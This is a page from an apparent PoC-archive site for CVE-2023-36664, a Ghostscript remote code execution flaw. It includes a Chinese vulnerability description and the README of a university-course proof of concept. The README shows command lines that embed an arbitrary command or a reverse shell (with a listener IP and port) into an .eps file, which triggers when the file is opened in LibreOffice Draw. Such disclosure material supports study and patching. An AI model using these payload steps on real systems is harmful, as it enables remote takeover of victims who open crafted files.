Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-36664 PoC — Artifex Software Ghostscript 安全漏洞

Source
Associated Vulnerability
Title:Artifex Software Ghostscript 安全漏洞 (CVE-2023-36664)
Description:Artifex Software Ghostscript是美国Artifex Software公司的一款开源的PostScript(一种用于电子产业和桌面出版领域的页面描述语言和编程语言)解析器。该产品可显示Postscript文件以及在非Postscript打印机上打印Postscript文件。 Artifex Software Ghostscript 10.01.2版本及之前版本存在安全漏洞,该漏洞源于错误地处理管道设备的权限验证。
Description
Proof of concept developed for the CVE-2023-36664
Readme
# CVE-2023-36664 : Ghostscript remote code execution

Proof of concept for the CVE-2023-36664.

## Usage

To insert a payload into a `.eps` file :
```sh
python3 poc.py -f "filename" --payload "command"
#python3 poc.py -f file.eps --payload firefox
```

To insert a reverse shell payload into a `.eps` file :
```sh
python3 poc.py -f "filename" --revshell --ip "ip" --port "port"
#python3 poc.py -f file.eps --revshell --ip 192.168.122.1 --port 1234
```

The opening of the injected file in Libreoffice Draw should trigger the payload.

## Disclaimer

This proof of concept was developed for a specific course at university. It is published here only for pedagogical usage.
File Snapshot

[4.0K] /data/pocs/f746c07030ed59b387baa66b4eab019b36411115 ├── [ 34K] LICENSE ├── [1.4K] poc.py └── [ 672] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.